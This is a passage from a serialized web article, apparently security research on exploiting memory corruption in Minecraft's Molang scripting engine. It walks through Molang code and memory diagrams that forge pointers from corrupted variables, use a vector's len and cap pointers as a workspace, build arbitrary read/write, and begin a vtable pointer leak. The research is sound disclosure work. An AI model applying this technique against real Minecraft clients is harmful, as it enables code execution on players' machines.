",{"type":19,"tag":27,"props":151368,"children":151370},{"className":151369},[],[151371],{"type":24,"value":150307},{"type":24,"value":151373}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":19,"tag":20,"props":151375,"children":151376},{},[151377],{"type":24,"value":151378},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":19,"tag":16345,"props":151380,"children":151382},{"id":151381},"expanding-the-idea",[151383],{"type":24,"value":151384},"Expanding the Idea",{"type":19,"tag":20,"props":151386,"children":151387},{},[151388,151390,151395,151397,151402,151403,151408,151410,151415],{"type":24,"value":151389},"As mentioned earlier, the ",{"type":19,"tag":27,"props":151391,"children":151393},{"className":151392},[],[151394],{"type":24,"value":30229},{"type":24,"value":151396}," field of ",{"type":19,"tag":27,"props":151398,"children":151400},{"className":151399},[],[151401],{"type":24,"value":150307},{"type":24,"value":12891},{"type":19,"tag":27,"props":151404,"children":151406},{"className":151405},[],[151407],{"type":24,"value":55417},{"type":24,"value":151409},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":19,"tag":27,"props":151411,"children":151413},{"className":151412},[],[151414],{"type":24,"value":36627},{"type":24,"value":151416}," field remain unchanged before and after Molang execution.",{"type":19,"tag":20,"props":151418,"children":151419},{},[151420,151422,151427],{"type":24,"value":151421},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":19,"tag":27,"props":151423,"children":151425},{"className":151424},[],[151426],{"type":24,"value":150415},{"type":24,"value":151428},"’s allocated buffer + 4.",{"type":19,"tag":20,"props":151430,"children":151431},{},[151432,151434,151439,151441,151446,151448,151453,151454,151460],{"type":24,"value":151433},"In the example below, ",{"type":19,"tag":27,"props":151435,"children":151437},{"className":151436},[],[151438],{"type":24,"value":150841},{"type":24,"value":151440}," points to ",{"type":19,"tag":27,"props":151442,"children":151444},{"className":151443},[],[151445],{"type":24,"value":150415},{"type":24,"value":151447},", while ",{"type":19,"tag":27,"props":151449,"children":151451},{"className":151450},[],[151452],{"type":24,"value":150855},{"type":24,"value":151440},{"type":19,"tag":27,"props":151455,"children":151457},{"className":151456},[],[151458],{"type":24,"value":151459},"MolangVariableMap + 4",{"type":24,"value":1922},{"type":19,"tag":158,"props":151462,"children":151464},{"code":151463}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151465],{"type":19,"tag":27,"props":151466,"children":151467},{"__ignoreMap":7},[151468],{"type":24,"value":151463},{"type":19,"tag":20,"props":151470,"children":151471},{},[151472,151474,151479,151480,151485,151487,151492,151494,151499,151501,151506],{"type":24,"value":151473},"Here, the ",{"type":19,"tag":27,"props":151475,"children":151477},{"className":151476},[],[151478],{"type":24,"value":36627},{"type":24,"value":151396},{"type":19,"tag":27,"props":151481,"children":151483},{"className":151482},[],[151484],{"type":24,"value":150841},{"type":24,"value":151486}," starts at the lower 32 bits of the ",{"type":19,"tag":27,"props":151488,"children":151490},{"className":151489},[],[151491],{"type":24,"value":150911},{"type":24,"value":151493}," pointer, while ",{"type":19,"tag":27,"props":151495,"children":151497},{"className":151496},[],[151498],{"type":24,"value":150855},{"type":24,"value":151500}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":19,"tag":27,"props":151502,"children":151504},{"className":151503},[],[151505],{"type":24,"value":150911},{"type":24,"value":151507}," pointer in a separate variable:",{"type":19,"tag":158,"props":151509,"children":151511},{"code":151510},"variable.saved_upper_32 = variable.b;\n",[151512],{"type":19,"tag":27,"props":151513,"children":151514},{"__ignoreMap":7},[151515],{"type":24,"value":151510},{"type":19,"tag":20,"props":151517,"children":151518},{},[151519],{"type":24,"value":151520},"Then we can modify the lower 32 bits of the pointer:",{"type":19,"tag":158,"props":151522,"children":151524},{"code":151523},"variable.a = variable.a + itof(0x8);\n",[151525],{"type":19,"tag":27,"props":151526,"children":151527},{"__ignoreMap":7},[151528],{"type":24,"value":151523},{"type":19,"tag":20,"props":151530,"children":151531},{},[151532],{"type":24,"value":151533},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":19,"tag":158,"props":151535,"children":151537},{"code":151536}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151538],{"type":19,"tag":27,"props":151539,"children":151540},{"__ignoreMap":7},[151541],{"type":24,"value":151536},{"type":19,"tag":20,"props":151543,"children":151544},{},[151545,151547,151552],{"type":24,"value":151546},"Since the 32 bits directly below the ",{"type":19,"tag":27,"props":151548,"children":151550},{"className":151549},[],[151551],{"type":24,"value":36627},{"type":24,"value":151553}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":19,"tag":158,"props":151555,"children":151557},{"code":151556},"variable.b = variable.saved_upper_32;\n",[151558],{"type":19,"tag":27,"props":151559,"children":151560},{"__ignoreMap":7},[151561],{"type":24,"value":151556},{"type":19,"tag":20,"props":151563,"children":151564},{},[151565,151567,151572],{"type":24,"value":151566},"Now ",{"type":19,"tag":27,"props":151568,"children":151570},{"className":151569},[],[151571],{"type":24,"value":150911},{"type":24,"value":151573}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":19,"tag":158,"props":151575,"children":151577},{"code":151576}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151578],{"type":19,"tag":27,"props":151579,"children":151580},{"__ignoreMap":7},[151581],{"type":24,"value":151576},{"type":19,"tag":20,"props":151583,"children":151584},{},[151585,151587,151592],{"type":24,"value":151586},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":19,"tag":27,"props":151588,"children":151590},{"className":151589},[],[151591],{"type":24,"value":151459},{"type":24,"value":151593}," on the heap?",{"type":19,"tag":20,"props":151595,"children":151596},{},[151597,151599,151604,151606,151612],{"type":24,"value":151598},"Additionally, adding 8 to ",{"type":19,"tag":27,"props":151600,"children":151602},{"className":151601},[],[151603],{"type":24,"value":150841},{"type":24,"value":151605}," in the example above wouldn’t work because ",{"type":19,"tag":27,"props":151607,"children":151609},{"className":151608},[],[151610],{"type":24,"value":151611},"0xddccbba0",{"type":24,"value":151613}," is not a valid float. So the first issue still remains unresolved.",{"type":19,"tag":16345,"props":151615,"children":151617},{"id":151616},"the-final-approach",[151618],{"type":24,"value":151619},"The Final Approach",{"type":19,"tag":20,"props":151621,"children":151622},{},[151623,151625,151630,151632,151638],{"type":24,"value":151624},"We realized that instead of having the second pointer at ",{"type":19,"tag":27,"props":151626,"children":151628},{"className":151627},[],[151629],{"type":24,"value":151459},{"type":24,"value":151631},", we could instead have it at ",{"type":19,"tag":27,"props":151633,"children":151635},{"className":151634},[],[151636],{"type":24,"value":151637},"MolangVariableMap + 2",{"type":24,"value":151639},", which would resolve both of our issues.",{"type":19,"tag":20,"props":151641,"children":151642},{},[151643,151645,151650,151651,151656],{"type":24,"value":151644},"Let’s revisit the previous example, but this time ",{"type":19,"tag":27,"props":151646,"children":151648},{"className":151647},[],[151649],{"type":24,"value":150855},{"type":24,"value":151440},{"type":19,"tag":27,"props":151652,"children":151654},{"className":151653},[],[151655],{"type":24,"value":151637},{"type":24,"value":1922},{"type":19,"tag":158,"props":151658,"children":151660},{"code":151659}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151661],{"type":19,"tag":27,"props":151662,"children":151663},{"__ignoreMap":7},[151664],{"type":24,"value":151659},{"type":19,"tag":20,"props":151666,"children":151667},{},[151668,151670,151675],{"type":24,"value":151669},"With this setup, we can calculate any address relative to ",{"type":19,"tag":27,"props":151671,"children":151673},{"className":151672},[],[151674],{"type":24,"value":150911},{"type":24,"value":151676}," by first saving the upper 48 bits of the address:",{"type":19,"tag":158,"props":151678,"children":151680},{"code":151679},"variable.saved_upper_48 = variable.b;\n",[151681],{"type":19,"tag":27,"props":151682,"children":151683},{"__ignoreMap":7},[151684],{"type":24,"value":151679},{"type":19,"tag":20,"props":151686,"children":151687},{},[151688,151689,151695,151697,151703],{"type":24,"value":127317},{"type":19,"tag":27,"props":151690,"children":151692},{"className":151691},[],[151693],{"type":24,"value":151694},"variable.saved_upper_48",{"type":24,"value":151696}," holds the value ",{"type":19,"tag":27,"props":151698,"children":151700},{"className":151699},[],[151701],{"type":24,"value":151702},"0x1c80ddcc",{"type":24,"value":948},{"type":19,"tag":20,"props":151705,"children":151706},{},[151707],{"type":24,"value":151708},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":19,"tag":158,"props":151710,"children":151712},{"code":151711},"variable.b = 0;\n",[151713],{"type":19,"tag":27,"props":151714,"children":151715},{"__ignoreMap":7},[151716],{"type":24,"value":151711},{"type":19,"tag":20,"props":151718,"children":151719},{},[151720],{"type":24,"value":151721},"Resulting in the following state:",{"type":19,"tag":158,"props":151723,"children":151725},{"code":151724}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151726],{"type":19,"tag":27,"props":151727,"children":151728},{"__ignoreMap":7},[151729],{"type":24,"value":151724},{"type":19,"tag":20,"props":151731,"children":151732},{},[151733,151735,151740,151742,151748,151750,151755],{"type":24,"value":151734},"Now, the value of ",{"type":19,"tag":27,"props":151736,"children":151738},{"className":151737},[],[151739],{"type":24,"value":150841},{"type":24,"value":151741}," only spans 16 bits (",{"type":19,"tag":27,"props":151743,"children":151745},{"className":151744},[],[151746],{"type":24,"value":151747},"0xbba0",{"type":24,"value":151749}," specifically), which is always a valid float since it’s far below ",{"type":19,"tag":27,"props":151751,"children":151753},{"className":151752},[],[151754],{"type":24,"value":151339},{"type":24,"value":948},{"type":19,"tag":20,"props":151757,"children":151758},{},[151759,151761,151766],{"type":24,"value":151760},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":19,"tag":27,"props":151762,"children":151764},{"className":151763},[],[151765],{"type":24,"value":150841},{"type":24,"value":1922},{"type":19,"tag":158,"props":151768,"children":151769},{"code":151523},[151770],{"type":19,"tag":27,"props":151771,"children":151772},{"__ignoreMap":7},[151773],{"type":24,"value":151523},{"type":19,"tag":20,"props":151775,"children":151776},{},[151777],{"type":24,"value":151778},"Which results in:",{"type":19,"tag":158,"props":151780,"children":151782},{"code":151781}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151783],{"type":19,"tag":27,"props":151784,"children":151785},{"__ignoreMap":7},[151786],{"type":24,"value":151781},{"type":19,"tag":20,"props":151788,"children":151789},{},[151790],{"type":24,"value":151791},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":19,"tag":158,"props":151793,"children":151795},{"code":151794},"variable.b = variable.saved_upper_48;\n",[151796],{"type":19,"tag":27,"props":151797,"children":151798},{"__ignoreMap":7},[151799],{"type":24,"value":151794},{"type":19,"tag":20,"props":151801,"children":151802},{},[151803],{"type":24,"value":151804},"Yielding a valid pointer again:",{"type":19,"tag":158,"props":151806,"children":151808},{"code":151807}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151809],{"type":19,"tag":27,"props":151810,"children":151811},{"__ignoreMap":7},[151812],{"type":24,"value":151807},{"type":19,"tag":20,"props":151814,"children":151815},{},[151816],{"type":24,"value":151817},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":19,"tag":158,"props":151819,"children":151821},{"code":151820},"variable.saved_adjusted_lower_16 = variable.a;\n",[151822],{"type":19,"tag":27,"props":151823,"children":151824},{"__ignoreMap":7},[151825],{"type":24,"value":151820},{"type":19,"tag":20,"props":151827,"children":151828},{},[151829],{"type":24,"value":151830},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":19,"tag":158,"props":151832,"children":151834},{"code":151833},"variable.a = variable.saved_upper_48;\n",[151835],{"type":19,"tag":27,"props":151836,"children":151837},{"__ignoreMap":7},[151838],{"type":24,"value":151833},{"type":19,"tag":20,"props":151840,"children":151841},{},[151842],{"type":24,"value":151843},"This produces the following state:",{"type":19,"tag":158,"props":151845,"children":151847},{"code":151846}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151848],{"type":19,"tag":27,"props":151849,"children":151850},{"__ignoreMap":7},[151851],{"type":24,"value":151846},{"type":19,"tag":20,"props":151853,"children":151854},{},[151855,151857,151862,151864,151870,151872,151878,151880,151885,151887,151892],{"type":24,"value":151856},"As shown, ",{"type":19,"tag":27,"props":151858,"children":151860},{"className":151859},[],[151861],{"type":24,"value":150855},{"type":24,"value":151863}," now contains the upper 16 bits of the address (",{"type":19,"tag":27,"props":151865,"children":151867},{"className":151866},[],[151868],{"type":24,"value":151869},"0x1c80",{"type":24,"value":151871},"), which we can store as ",{"type":19,"tag":27,"props":151873,"children":151875},{"className":151874},[],[151876],{"type":24,"value":151877},"variable.saved_upper_16 = variable.b",{"type":24,"value":151879},". Meanwhile, ",{"type":19,"tag":27,"props":151881,"children":151883},{"className":151882},[],[151884],{"type":24,"value":150841},{"type":24,"value":151886}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":19,"tag":27,"props":151888,"children":151890},{"className":151889},[],[151891],{"type":24,"value":150855},{"type":24,"value":1922},{"type":19,"tag":158,"props":151894,"children":151895},{"code":151711},[151896],{"type":19,"tag":27,"props":151897,"children":151898},{"__ignoreMap":7},[151899],{"type":24,"value":151711},{"type":19,"tag":20,"props":151901,"children":151902},{},[151903],{"type":24,"value":151904},"Leaving us with:",{"type":19,"tag":158,"props":151906,"children":151908},{"code":151907}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151909],{"type":19,"tag":27,"props":151910,"children":151911},{"__ignoreMap":7},[151912],{"type":24,"value":151907},{"type":19,"tag":20,"props":151914,"children":151915},{},[151916],{"type":24,"value":151917},"We can now save the middle 16 bits:",{"type":19,"tag":158,"props":151919,"children":151921},{"code":151920},"variable.saved_middle_16 = variable.a;\n",[151922],{"type":19,"tag":27,"props":151923,"children":151924},{"__ignoreMap":7},[151925],{"type":24,"value":151920},{"type":19,"tag":20,"props":151927,"children":151928},{},[151929],{"type":24,"value":151930},"At this point, we have:",{"type":19,"tag":158,"props":151932,"children":151934},{"code":151933},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[151935],{"type":19,"tag":27,"props":151936,"children":151937},{"__ignoreMap":7},[151938],{"type":24,"value":151933},{"type":19,"tag":20,"props":151940,"children":151941},{},[151942],{"type":24,"value":151943},"All three parts are valid float values, ensuring deterministic calculations.",{"type":19,"tag":20,"props":151945,"children":151946},{},[151947],{"type":24,"value":151948},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":19,"tag":158,"props":151950,"children":151952},{"code":151951},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[151953],{"type":19,"tag":27,"props":151954,"children":151955},{"__ignoreMap":7},[151956],{"type":24,"value":151951},{"type":19,"tag":20,"props":151958,"children":151959},{},[151960],{"type":24,"value":151961},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":19,"tag":158,"props":151963,"children":151965},{"code":151964},"variable.a = variable.saved_adjusted_middle_16;\n",[151966],{"type":19,"tag":27,"props":151967,"children":151968},{"__ignoreMap":7},[151969],{"type":24,"value":151964},{"type":19,"tag":20,"props":151971,"children":151972},{},[151973,151975,151980,151981,151987,151988,151994],{"type":24,"value":151974},"Setting ",{"type":19,"tag":27,"props":151976,"children":151978},{"className":151977},[],[151979],{"type":24,"value":150841},{"type":24,"value":54260},{"type":19,"tag":27,"props":151982,"children":151984},{"className":151983},[],[151985],{"type":24,"value":151986},"0xddcd",{"type":24,"value":461},{"type":19,"tag":27,"props":151989,"children":151991},{"className":151990},[],[151992],{"type":24,"value":151993},"0xddcc + 1",{"type":24,"value":151995},"), and then:",{"type":19,"tag":158,"props":151997,"children":151999},{"code":151998},"variable.b = variable.saved_adjusted_upper_16;\n",[152000],{"type":19,"tag":27,"props":152001,"children":152002},{"__ignoreMap":7},[152003],{"type":24,"value":151998},{"type":19,"tag":20,"props":152005,"children":152006},{},[152007,152009,152014,152016,152022,152023,152029],{"type":24,"value":152008},"Resulting in ",{"type":19,"tag":27,"props":152010,"children":152012},{"className":152011},[],[152013],{"type":24,"value":150855},{"type":24,"value":152015}," value becoming ",{"type":19,"tag":27,"props":152017,"children":152019},{"className":152018},[],[152020],{"type":24,"value":152021},"0x1c81",{"type":24,"value":461},{"type":19,"tag":27,"props":152024,"children":152026},{"className":152025},[],[152027],{"type":24,"value":152028},"0x1c80 + 1",{"type":24,"value":21413},{"type":19,"tag":158,"props":152031,"children":152033},{"code":152032}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152034],{"type":19,"tag":27,"props":152035,"children":152036},{"__ignoreMap":7},[152037],{"type":24,"value":152032},{"type":19,"tag":20,"props":152039,"children":152040},{},[152041],{"type":24,"value":152042},"Now we save the adjusted upper 48 bits:",{"type":19,"tag":158,"props":152044,"children":152046},{"code":152045},"variable.saved_adjusted_upper_48 = variable.a;\n",[152047],{"type":19,"tag":27,"props":152048,"children":152049},{"__ignoreMap":7},[152050],{"type":24,"value":152045},{"type":19,"tag":20,"props":152052,"children":152053},{},[152054],{"type":24,"value":152055},"Finally, we attach the lower 16 bits:",{"type":19,"tag":158,"props":152057,"children":152059},{"code":152058},"variable.a = variable.saved_adjusted_lower_16;\n",[152060],{"type":19,"tag":27,"props":152061,"children":152062},{"__ignoreMap":7},[152063],{"type":24,"value":152058},{"type":19,"tag":158,"props":152065,"children":152067},{"code":152066}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152068],{"type":19,"tag":27,"props":152069,"children":152070},{"__ignoreMap":7},[152071],{"type":24,"value":152066},{"type":19,"tag":20,"props":152073,"children":152074},{},[152075],{"type":24,"value":152076},"And by setting:",{"type":19,"tag":158,"props":152078,"children":152080},{"code":152079},"variable.b = variable.saved_adjusted_upper_48;\n",[152081],{"type":19,"tag":27,"props":152082,"children":152083},{"__ignoreMap":7},[152084],{"type":24,"value":152079},{"type":19,"tag":20,"props":152086,"children":152087},{},[152088],{"type":24,"value":152089},"We forge the final adjusted pointer:",{"type":19,"tag":158,"props":152091,"children":152093},{"code":152092}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152094],{"type":19,"tag":27,"props":152095,"children":152096},{"__ignoreMap":7},[152097],{"type":24,"value":152092},{"type":19,"tag":16245,"props":152099,"children":152100},{},[],{"type":19,"tag":20,"props":152102,"children":152103},{},[152104,152106,152111],{"type":24,"value":152105},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":19,"tag":27,"props":152107,"children":152109},{"className":152108},[],[152110],{"type":24,"value":151637},{"type":24,"value":151593},{"type":19,"tag":20,"props":152113,"children":152114},{},[152115,152117,152122,152124,152129,152131,152137,152139,152144],{"type":24,"value":152116},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":19,"tag":27,"props":152118,"children":152120},{"className":152119},[],[152121],{"type":24,"value":151637},{"type":24,"value":152123},". Instead, we need any two pointers on the heap - one pointing to ",{"type":19,"tag":27,"props":152125,"children":152127},{"className":152126},[],[152128],{"type":24,"value":28158},{"type":24,"value":152130}," and the other to ",{"type":19,"tag":27,"props":152132,"children":152134},{"className":152133},[],[152135],{"type":24,"value":152136},"addr + 2",{"type":24,"value":152138}," (as long as ",{"type":19,"tag":27,"props":152140,"children":152142},{"className":152141},[],[152143],{"type":24,"value":28158},{"type":24,"value":152145}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":19,"tag":20,"props":152147,"children":152148},{},[152149,152151,152156,152157,152162],{"type":24,"value":152150},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":19,"tag":27,"props":152152,"children":152154},{"className":152153},[],[152155],{"type":24,"value":147611},{"type":24,"value":151396},{"type":19,"tag":27,"props":152158,"children":152160},{"className":152159},[],[152161],{"type":24,"value":150415},{"type":24,"value":152163}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":19,"tag":158,"props":152165,"children":152167},{"code":152166},"variable.corrupted_var_map_ptr = variable.a;\n",[152168],{"type":19,"tag":27,"props":152169,"children":152170},{"__ignoreMap":7},[152171],{"type":24,"value":152166},{"type":19,"tag":20,"props":152173,"children":152174},{},[152175,152177,152182,152184,152190],{"type":24,"value":152176},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":19,"tag":27,"props":152178,"children":152180},{"className":152179},[],[152181],{"type":24,"value":36627},{"type":24,"value":152183}," field (in this case, the reconstructed pointer) and writes it to ",{"type":19,"tag":27,"props":152185,"children":152187},{"className":152186},[],[152188],{"type":24,"value":152189},"variable.corrupted_var_map_ptr",{"type":24,"value":152191},", even though the type itself is only a 32-bit float.",{"type":19,"tag":16345,"props":152193,"children":152195},{"id":152194},"finding-misaligned-pointers",[152196],{"type":24,"value":152197},"Finding Misaligned Pointers",{"type":19,"tag":20,"props":152199,"children":152200},{},[152201,152203,152208,152209,152215],{"type":24,"value":152202},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":19,"tag":27,"props":152204,"children":152206},{"className":152205},[],[152207],{"type":24,"value":11395},{"type":24,"value":8436},{"type":19,"tag":27,"props":152210,"children":152212},{"className":152211},[],[152213],{"type":24,"value":152214},"ptr + 2",{"type":24,"value":152216},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":19,"tag":20,"props":152218,"children":152219},{},[152220,152225,152226,152231,152233,152238,152240,152245,152247,152252,152254,152259,152261,152267,152268,152273],{"type":19,"tag":27,"props":152221,"children":152223},{"className":152222},[],[152224],{"type":24,"value":150591},{"type":24,"value":12891},{"type":19,"tag":27,"props":152227,"children":152229},{"className":152228},[],[152230],{"type":24,"value":150614},{"type":24,"value":152232}," found inside every entity object. As noted earlier, a ",{"type":19,"tag":27,"props":152234,"children":152236},{"className":152235},[],[152237],{"type":24,"value":150445},{"type":24,"value":152239}," contains three pointers: ",{"type":19,"tag":27,"props":152241,"children":152243},{"className":152242},[],[152244],{"type":24,"value":147611},{"type":24,"value":152246}," (the start of the allocated buffer), ",{"type":19,"tag":27,"props":152248,"children":152250},{"className":152249},[],[152251],{"type":24,"value":6579},{"type":24,"value":152253}," (just past the last element) and ",{"type":19,"tag":27,"props":152255,"children":152257},{"className":152256},[],[152258],{"type":24,"value":150544},{"type":24,"value":152260}," (the end of the allocated buffer). Because the element type is ",{"type":19,"tag":27,"props":152262,"children":152264},{"className":152263},[],[152265],{"type":24,"value":152266},"uint16_t",{"type":24,"value":99784},{"type":19,"tag":27,"props":152269,"children":152271},{"className":152270},[],[152272],{"type":24,"value":6579},{"type":24,"value":152274}," pointer advances by 2 bytes each time a new element is added.",{"type":19,"tag":20,"props":152276,"children":152277},{},[152278,152280,152285,152287,152293],{"type":24,"value":152279},"We can make the ",{"type":19,"tag":27,"props":152281,"children":152283},{"className":152282},[],[152284],{"type":24,"value":6579},{"type":24,"value":152286}," pointer equal to ",{"type":19,"tag":27,"props":152288,"children":152290},{"className":152289},[],[152291],{"type":24,"value":152292},"cap - 2",{"type":24,"value":152294}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":19,"tag":158,"props":152296,"children":152298},{"code":152297}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[152299],{"type":19,"tag":27,"props":152300,"children":152301},{"__ignoreMap":7},[152302],{"type":24,"value":152297},{"type":19,"tag":16245,"props":152304,"children":152305},{},[],{"type":19,"tag":20,"props":152307,"children":152308},{},[152309,152311,152316,152318,152323,152325,152330,152332,152337,152338,152343],{"type":24,"value":152310},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":19,"tag":27,"props":152312,"children":152314},{"className":152313},[],[152315],{"type":24,"value":147611},{"type":24,"value":152317}," pointer of ",{"type":19,"tag":27,"props":152319,"children":152321},{"className":152320},[],[152322],{"type":24,"value":150415},{"type":24,"value":152324}," in the entity object above, one that would index ",{"type":19,"tag":27,"props":152326,"children":152328},{"className":152327},[],[152329],{"type":24,"value":6579},{"type":24,"value":152331}," and the final ",{"type":19,"tag":27,"props":152333,"children":152335},{"className":152334},[],[152336],{"type":24,"value":150544},{"type":24,"value":152317},{"type":19,"tag":27,"props":152339,"children":152341},{"className":152340},[],[152342],{"type":24,"value":150591},{"type":24,"value":152344}," also in the same entity object above.",{"type":19,"tag":20,"props":152346,"children":152347},{},[152348,152350,152356,152357,152363,152365,152370,152371,152376,152378,152383,152385,152390,152391,152396,152398,152403],{"type":24,"value":152349},"The corrupted variables ",{"type":19,"tag":27,"props":152351,"children":152353},{"className":152352},[],[152354],{"type":24,"value":152355},"variable.corrupted_len_ptr",{"type":24,"value":8436},{"type":19,"tag":27,"props":152358,"children":152360},{"className":152359},[],[152361],{"type":24,"value":152362},"variable.corrupted_cap_ptr",{"type":24,"value":152364}," point to ",{"type":19,"tag":27,"props":152366,"children":152368},{"className":152367},[],[152369],{"type":24,"value":6579},{"type":24,"value":8436},{"type":19,"tag":27,"props":152372,"children":152374},{"className":152373},[],[152375],{"type":24,"value":150544},{"type":24,"value":152377},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":19,"tag":27,"props":152379,"children":152381},{"className":152380},[],[152382],{"type":24,"value":152189},{"type":24,"value":152384},", points to the ",{"type":19,"tag":27,"props":152386,"children":152388},{"className":152387},[],[152389],{"type":24,"value":147611},{"type":24,"value":151396},{"type":19,"tag":27,"props":152392,"children":152394},{"className":152393},[],[152395],{"type":24,"value":150415},{"type":24,"value":152397},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":19,"tag":27,"props":152399,"children":152401},{"className":152400},[],[152402],{"type":24,"value":150415},{"type":24,"value":152404},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":19,"tag":20,"props":152406,"children":152407},{},[152408],{"type":24,"value":152409},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":19,"tag":16345,"props":152411,"children":152413},{"id":152412},"leaking-pointers",[152414],{"type":24,"value":152415},"Leaking Pointers",{"type":19,"tag":20,"props":152417,"children":152418},{},[152419,152421,152427],{"type":24,"value":152420},"In C++, an object’s first field is typically a ",{"type":19,"tag":27,"props":152422,"children":152424},{"className":152423},[],[152425],{"type":24,"value":152426},"vtable",{"type":24,"value":152428}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":19,"tag":158,"props":152430,"children":152432},{"code":152431}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n 